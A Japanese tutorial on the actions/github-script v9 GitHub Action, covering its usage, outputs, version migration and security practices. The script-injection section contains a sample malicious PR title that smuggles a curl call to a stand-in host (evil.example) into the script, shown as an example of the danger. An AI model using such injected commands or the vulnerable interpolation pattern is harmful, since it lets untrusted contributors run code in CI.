actions/github-scriptは、GitHub Actionsのワークフローの中に数行のJavaScriptを書き、認証済みのGitHub APIクライアントでPRへのコメントやラベル付与を行うための公式アクションです。2026年4月9日に公開されたv9では、別トークン用のクライアントを作る getOctokit がスクリプトに直接渡されるようになった一方、require('@actions/github') が動かなくなりました。
この記事では、actions/github-script v9.0.0のソースコードとREADMEを一次情報に、書き方の基本から戻り値の扱い、v6〜v9の違い、スクリプトインジェクションを避ける値の渡し方までを順に整理します。
まとめ:actions/github-scriptの要点
- 現行版は v9(v9.0.0・2026-04-09公開)。実行ランタイムはv8からNode.js 24
scriptに書いたコードは非同期関数の本体として実行され、github・context・core・exec・glob・io・require・getOctokitが最初から使える- REST APIは
github.rest.issues.createCommentのようにrestを挟む(v5以降)。一覧の全件取得はgithub.paginate returnした値はステップ出力resultにJSON文字列で入る。文字列のまま欲しいときはresult-encoding: string- PRタイトルなどの値は
${{ }}でスクリプトへ直接埋め込まず、envで渡してprocess.envから読む - v8からv9へ上げるときは、
require('@actions/github')の有無、getOctokitのconst・let再宣言、@actions/githubの内部機能への依存の3点を確認する
以下、仕組み、書き方、戻り値、別ファイル化、版の違い、安全対策、使わない方がよい場面の順に説明します。
actions/github-scriptの仕組みと注入される引数
script入力が非同期関数の本体として実行される仕組み
v9.0.0の src/async-function.ts は、script 入力の文字列を AsyncFunction コンストラクタに渡し、引数名に github や context を並べた関数を組み立てて呼び出しています。つまり書いたコードはファイルではなく「async関数の中身」です。トップレベルで await が使え、return で値を返せるのはこのためです。
アクション自体は action.yml の runs.using: node24 で動くJavaScriptアクションなので、スクリプトもランナー上のNode.js 24で実行されます。setup-node で入れたNode.jsのバージョンはスクリプトの実行環境には影響しません。
github・context・coreなど注入オブジェクトの一覧
| 引数 | 中身 | 主な用途 |
|---|---|---|
github(別名 octokit) |
認証済みのoctokit/rest.js | REST・GraphQL呼び出し |
context |
@actions/githubのContext | リポジトリ名・イベント内容 |
core |
@actions/core | 出力・ログ・失敗判定 |
exec |
@actions/exec | コマンド実行 |
glob / io |
@actions/glob / @actions/io | ファイル検索・コピー |
require |
作業ディレクトリ基準のラッパー | 自作ファイル・npmパッケージ |
getOctokit |
クライアント生成関数(v9〜) | 別トークンのクライアント |
よく使うのは context.repo.owner・context.repo.repo(実行中のリポジトリ)、context.issue.number(IssueまたはPRの番号)、context.payload(イベントのWebhookペイロード全体)です。github の既定トークンはワークフローの GITHUB_TOKEN で、入力 github-token で差し替えられます。
基本の書き方:最小ワークフローとpermissions
同一リポジトリ内のブランチからPRが作成されたら、作成者にメンション付きでコメントする最小構成です。フォーク由来のPRでは通常書き込めないため、後述のトークン権限とイベントの説明も確認してください。GITHUB_TOKEN の権限はワークフロー側の permissions で必要な分だけ明示します。
name: pr-welcome
on:
pull_request:
types: [opened]
permissions:
pull-requests: write
jobs:
comment:
runs-on: ubuntu-latest
steps:
- uses: actions/github-script@v9
with:
script: |
const author = context.payload.pull_request.user.login
await github.rest.issues.createComment({
owner: context.repo.owner,
repo: context.repo.repo,
issue_number: context.issue.number,
body: `@${author} PRありがとうございます。担当者が確認します。`
})
PRへのコメントは、GitHubのAPI上は「Issueへのコメント」と同じエンドポイントを使うため、呼び出しは github.rest.issues.createComment になります。permissions を書くと列挙しなかった権限は付与されないので、pull-requests: write のように使う分だけを並べます。権限の既定値と設計はGitHub Actionsのpermissions|GITHUB_TOKENの既定権限と最小権限の設計で詳しく扱っています。
REST APIのメソッド名は、GitHubのREST APIドキュメントのカテゴリ名(issues・pulls・repos など)とoctokitのメソッド名で対応しています。GraphQLは await github.graphql(query, variables)、ドキュメントに載っていないエンドポイントは github.request('GET /repos/{owner}/{repo}', {...}) で呼べます。
PR・Issue操作の実装例
変更ファイルに応じたラベル付与とgithub.paginate
PR変更ファイルAPIは1ページ最大100件のため、全件が必要なら github.paginate に一覧メソッドを渡します。次の例は、PRの変更ファイルを取得し、docs配下やSQLファイルを含むPRにラベルを付けます。ただし、このAPIはページを巡回しても合計3,000ファイルまでしか返しません。変更ファイル数がこの上限を超えるPRでは、Gitの差分など別の方法で判定する必要があります。
- uses: actions/github-script@v9
with:
script: |
const { owner, repo } = context.repo
const files = await github.paginate(github.rest.pulls.listFiles, {
owner, repo, pull_number: context.issue.number, per_page: 100
})
const labels = []
if (files.some(f => f.filename.startsWith('docs/'))) labels.push('documentation')
if (files.some(f => f.filename.endsWith('.sql'))) labels.push('db-migration')
if (labels.length > 0) {
await github.rest.issues.addLabels({ owner, repo, issue_number: context.issue.number, labels })
}
core.info(`files=${files.length} labels=${labels.join(',') || 'none'}`)
このジョブには pull-requests: read(ファイル一覧)と、ラベル付与のための issues: write または pull-requests: write が必要です。
ボットのコメントを重ねずに上書きする方法
CIの結果をPRへ書き込む処理は、pushのたびに createComment するとコメントが積み上がります。本文に目印のHTMLコメントを入れておき、既にあれば updateComment で書き換えるのが定番です。
- uses: actions/github-script@v9
env:
COVERAGE: ${{ steps.test.outputs.coverage }}
with:
script: |
const marker = '<!-- coverage-report -->'
const { owner, repo } = context.repo
const issue_number = context.issue.number
const body = `${marker}\nカバレッジ: ${process.env.COVERAGE}%`
const comments = await github.paginate(github.rest.issues.listComments, {
owner, repo, issue_number, per_page: 100
})
const mine = comments.find(c => c.user?.login === 'github-actions[bot]' && (c.body ?? '').includes(marker))
if (mine) {
await github.rest.issues.updateComment({ owner, repo, comment_id: mine.id, body })
} else {
await github.rest.issues.createComment({ owner, repo, issue_number, body })
}
目印をコメント本文の文字列一致で探すため、目印はワークフローごとに固有の文字列にします。複数のワークフローが同じ目印を使うと、互いのコメントを上書きし合います。投稿者を github-actions[bot] に絞っているのは既定の GITHUB_TOKEN で投稿する前提だからで、GitHub Appのトークンで投稿するならそのAppのボット名に合わせます。
戻り値とcore.setOutputによる後続ステップへの値の受け渡し
returnとresult-encodingの挙動
return した値はステップ出力 result に入ります。src/main.ts の処理は、result-encoding が既定の json なら JSON.stringify(result)、string なら String(result) で文字列化し、core.setOutput('result', ...) に渡すだけです。v9.0.0のこのラッパー部分と@actions/coreの toCommandValue の処理に基づく出力は、次のとおりです。
| スクリプト | json(既定) | string |
|---|---|---|
return "Hello!" |
"Hello!"(引用符付き) |
Hello! |
return {n: 3} |
{"n":3} |
[object Object] |
| returnなし | 空文字 | undefined |
文字列を返すなら string、オブジェクトを返すなら既定の json にして後続で fromJSON() で読む、と使い分けます。string を指定したままreturnを書き忘れると、出力には文字列の undefined が入り、後続の if 条件が空文字判定をすり抜けます。
core.setOutputによる複数の名前付き出力
出力が複数あるなら、return でまとめるより core.setOutput で名前を分けた方が後続の式が読みやすくなります。
- id: meta
uses: actions/github-script@v9
with:
script: |
const pr = context.payload.pull_request
core.setOutput('is_draft', pr.draft)
core.setOutput('base', pr.base.ref)
return { number: pr.number, changed: pr.changed_files }
- if: steps.meta.outputs.is_draft == 'false'
env:
BASE: ${{ steps.meta.outputs.base }}
NUM: ${{ fromJSON(steps.meta.outputs.result).number }}
run: echo "PR #$NUM targets $BASE"
core.setOutput はnull・undefinedを空文字に変換し、それ以外の文字列でない値を JSON.stringify するため、真偽値の false は文字列 'false' として比較します。別ジョブへ渡すときは、ジョブの outputs に写してから needs.<job>.outputs で参照します(GitHub Actionsのneeds|ジョブ依存の設計とoutputs受け渡しの実務)。
スクリプトを.github/scriptsへ別ファイル化する方法
requireで自作モジュールを呼ぶ書き方
YAML内のJavaScriptに構文ハイライトや静的検査が効くかは、エディタや追加ツールの設定によります。スクリプトが長くなったら別ファイルへ分けると、JavaScript用の開発ツールや単体テストを適用しやすくなります。置き場所は .github/scripts/ などにし、注入された引数を関数に渡します。ファイルを読むには先に actions/checkout が必要です。
steps:
- uses: actions/checkout@v5
- uses: actions/github-script@v9
with:
script: |
const run = require('./.github/scripts/label-pr.js')
await run({ github, context, core })
// .github/scripts/label-pr.js
module.exports = async ({ github, context, core }) => {
const { owner, repo } = context.repo
const { data: pr } = await github.rest.pulls.get({
owner, repo, pull_number: context.issue.number
})
core.info(`PR #${pr.number}: ${pr.title}`)
}
require は作業ディレクトリ基準で相対パスを解決するラッパーです。github や context は外部ファイルからは参照できないので、必ず引数で受け渡します。関数として切り出しておくと、モックの github を渡すだけで単体テストも書けます。
npmパッケージ・ESM・TypeScriptの読み込み
npmパッケージは、事前のステップで npm ci などを実行して作業ディレクトリに入れておけば require で読めます。ESMのファイルは package.json に "type": "module" を置き、await import('${{ github.workspace }}/src/x.js') のように絶対パスで読み込みます。
v8以降はNode.js 24で動くため、型注釈を書いただけのTypeScriptファイルも同じ import() で読み込めます。Node.jsの型ストリッピングはv23.6.0とv22.18.0で既定有効になり、v24.12.0で安定版扱いになりました。ただし型を消すだけなので、enum や実行時コードを持つ namespace は使えません。エディタで型補完を効かせるには、README記載の npm i -D @actions/github-script@github:actions/github-script で型定義 AsyncFunctionArguments を入れます。
v6・v7・v8・v9の違いとv9への移行
| 版 | 公開日 | Node.js | 主な変更 |
|---|---|---|---|
| v5 | 2021-09-24 | 12 | REST呼び出しが github.rest.* へ |
| v6 | 2022-02-11 | 16 | Node.js 16へ更新 |
| v7 | 2023-11-13 | 20 | previews がGraphQL専用に |
| v8 | 2025-09-04 | 24 | ランナーv2.327.1以上が必要 |
| v9 | 2026-04-09 | 24 | getOctokit 注入・ESM化 |
公開日はGitHub Releasesの記録、Node.jsの版は各タグの action.yml の runs.using です。v5で github.issues.createComment が github.rest.issues.createComment に変わった点は、古いブログのコードを写したときに今でもつまずく原因になります。
v9の破壊的変更:require(‘@actions/github’)とgetOctokit
v9は内部の @actions/github をESM専用のv9へ上げたため、スクリプト内の require('@actions/github') が実行時に失敗します。別トークンのクライアントを作るためにこの行を書いていた場合は、注入された getOctokit をそのまま使います。
// v8まで
const { getOctokit } = require('@actions/github')
const appClient = getOctokit(process.env.APP_TOKEN)
// v9
const appClient = getOctokit(process.env.APP_TOKEN)
もう1つの落とし穴は再宣言です。getOctokit は関数の引数として渡されるため、const getOctokit = ... や let getOctokit = ... と書くとスクリプト全体が構文エラーになります。READMEは、関数の引数と同名の const・let 宣言はJavaScriptの仕様上 SyntaxError になり、再宣言が必要なら var を使うよう案内しています。v9の getOctokit で作ったクライアントは、github と同じretry・ログ設定と、入力 retries の値を引き継ぎます。
v8で必要なランナー版とセルフホストランナー
v8以降はNode.js 24で動くため、Actions Runner v2.327.1以上が必要です。GitHubホステッドランナーは自動で更新されますが、セルフホストランナーやGitHub Enterprise Serverで古いランナーを固定している環境では、v8・v9に上げる前にランナーのバージョンを確認します。
GitHubのChangelogによると、GitHub.com(データレジデンシー付きを含む)のランナーは、2026年6月16日からJavaScriptアクションを既定でNode.js 24で実行し、9月23日にNode.js 20を削除しました。一時的な回避策だった ACTIONS_ALLOW_USE_UNSECURE_NODE_VERSION も使えません。@v7 のまま据え置いても、GitHub.com上のスクリプトは既にNode.js 24で動いているということです。v9への移行は、getOctokit の必要性に加え、依存パッケージの変更と既存スクリプトの互換性を確認して判断します。新規のワークフローでは、Node.js 24を明示したv9を基準にします。Node.js 24はmacOS 13.4以前で動かず、ARM32も公式サポート外なので、これらのセルフホストランナーはサポート対象から外れました。
安全に使うための注意点
スクリプトインジェクションを防ぐ値の渡し方
${{ }} の式はスクリプトがアクションに渡される前に展開されるため、展開結果はそのままJavaScriptのコードとして評価されます。PRタイトルのように第三者が書ける値を埋め込むと、次のようなタイトルのPRを1本作るだけで任意のコードが走ります。
# 危険:タイトルに ";await exec.exec('curl',['https://evil.example']);" と書かれると実行される
script: |
const title = "${{ github.event.pull_request.title }}"
# 安全:env で渡し、process.env から文字列として読む
env:
TITLE: ${{ github.event.pull_request.title }}
with:
script: |
const title = process.env.TITLE
READMEもこの env 経由の渡し方を推奨しています。値が引用符や改行を含むと式展開ではSyntaxErrorにもなるので、安全面を抜きにしても env 経由の方が壊れにくい書き方です。環境変数の渡し方の全体像はGitHub Actionsの環境変数|env・vars・secretsの使い分けと受け渡しにまとめています。
GITHUB_TOKENの権限とpull_request_target
PRへのコメントやラベル付与は、フォークからのPRでつまずきます。pull_request イベントでは、フォークからのPRに対する GITHUB_TOKEN は読み取り専用になり、GITHUB_TOKEN 以外のシークレットはランナーに渡されません。コメントを書こうとして403になるのはこのためです。
フォークのPRにも書き込みたいなら pull_request_target を使います。ベースリポジトリのデフォルトブランチの文脈で動き、書き込み可能なトークンとシークレットを使えます。その代わり、PR側のコードをチェックアウトしてビルド・実行してはいけません。GitHubのドキュメントも、PRのコードをビルド・実行するならこのイベントを避けるよう明記しています。
バージョン固定におけるメジャータグとコミットSHAの選択
@v9 は移動するタグで、2026年9月時点では v9.0.0 と同じコミット 3a2844b7e9c422d3c10d287c895573f7108da1b3 を指しています。タグは後から付け替えられるため、2025年3月のtj-actions/changed-filesのようにタグごと悪性コミットへ差し替えられる事故が起きると、タグ指定のワークフローはそのまま巻き込まれます(tj-actionsとreviewdogに関連するインシデントの概要とその経緯)。
- uses: actions/github-script@3a2844b7e9c422d3c10d287c895573f7108da1b3 # v9.0.0
書き込み権限を持つジョブや、シークレットを扱うジョブではSHA固定にし、末尾のコメントで版を残してDependabotに更新を任せるのが現実的です。固定の手順と組織単位の強制はSHA Pinningとは?GitHub ActionsをコミットSHAで固定する方法【Enforce設定・pinact】で解説しています。
github-scriptを使わない方がよい場面
github-scriptは「APIを数回呼んで、結果で少し分岐する」処理に向いています。次の2つに当てはまるなら別の手段を選びます。
1つ目は、APIを1回呼ぶだけの処理です。GitHubホステッドランナーにはGitHub CLIが入っているため、ラベル付与1行なら run ステップの方が短く、JavaScriptを読めない人にも保守できます。
- run: gh pr edit "$PR" --add-label documentation
env:
GH_TOKEN: ${{ github.token }}
GH_REPO: ${{ github.repository }}
PR: ${{ github.event.pull_request.number }}
ghコマンドの導入や主なサブコマンドはghコマンド(GitHub CLI)とは?インストール方法と使い方・コマンド一覧【v2.101対応】を参照してください。
2つ目は、同じ処理を複数のリポジトリで使い回す場合や、ロジックが数百行に育った場合です。github-scriptを各リポジトリへ直接記述すると、処理の重複や更新漏れが生じます。小規模な共通処理なら、再利用可能なワークフローで共有し、タグやSHAによる版管理と入力型の定義を行う方法もあります。action.yml で入力を定義したJavaScriptアクション(またはTypeScriptアクション)に切り出せば、タグで版を切り、テストとリリースを1か所で管理できます。
github-scriptが動かないときの確認ポイント
エラーはアクションが例外を捕まえて Unhandled error: を前置きしたうえでステップを失敗させるので、ログのその行から原因を読みます。
github.issues.createComment is not a function:v4以前の書き方。github.rest.issues.createCommentに直すResource not accessible by integration(HTTP 403):GITHUB_TOKENの権限不足。permissionsと使用トークンの権限を確認する。フォーク由来のPRでは通常、権限の追記だけでは書き込めないIdentifier 'getOctokit' has already been declared:v9でconst getOctokitを宣言しているCannot find module '/home/runner/work/...':相対パスは作業ディレクトリ基準の絶対パスに直して読まれる。actions/checkoutを先に実行しているか、パスが作業ディレクトリ基準かを確認するcontext.issue.numberがundefined:pushやscheduleのようにIssueもPRも伴わないイベントで実行している
APIの呼び出し内容を追いたいときは、ワークフローを「デバッグログを有効にして再実行」します。入力 debug の既定値は ${{ runner.debug == '1' }} なので、再実行時のデバッグ指定だけでリクエストのログが出ます。一時的なエラーに備えるなら入力 retries を指定します。既定は0回で、400・401・403・404・422は再試行しません。
REST APIのレート制限によると、既定の GITHUB_TOKEN による上限は、リポジトリあたり毎時1,000リクエストです(GitHub Enterprise Cloudのリソースは15,000)。github.paginate で大きな一覧を毎回全件取得するスケジュール実行は、この上限に当たる前に since や state などの絞り込みを入れます。
よくある質問
actions/github-scriptの最新バージョンはいくつですか?
2026年9月時点の最新はv9(v9.0.0・2026年4月9日公開)です。@v9 を指定すればv9系の最新を使えます。v8から上げる場合は、スクリプト内の require('@actions/github') と getOctokit のconst・let再宣言を確認してください。標準クライアント以外の @actions/github 内部機能を参照している場合も、v9での互換性確認が必要です。
GITHUB_TOKEN以外のトークンを使うにはどうしますか?
全呼び出しを別トークンにするなら入力 github-token にシークレットを渡します。既定の github はそのままに、別リポジトリや別組織だけを別トークンで操作したいなら、v9で注入された getOctokit(process.env.APP_TOKEN) で2つ目のクライアントを作ります。
GitHub Enterprise Serverでも使えますか?
使えます。GitHub Enterprise Server上のワークフローでは既定でそのインスタンスのAPIに向きます。GitHub.comのランナーからGHESを操作するなど接続先を変えるときは、入力 base-url に https://<ホスト>/api/v3 を指定します。v8以降を使うにはランナーv2.327.1以上が必要です。
github-scriptのスクリプトはローカルで試せますか?
ワークフローごと動かすならGitHub Actionsをローカル実行するactが使えます。ロジックだけを確かめたいなら、別ファイルに切り出した関数へモックの github・context を渡して、Node.jsのテストランナーで検証する方が速く確実です。
github-scriptからGitHub以外のAPIをcurlのように呼べますか?
呼べます。v8以降はNode.js 24で動くため、組み込みの fetch をそのまま使えます。github はGitHub API用のクライアントなので、外部サービスには fetch を使い、認証情報は env 経由で渡します。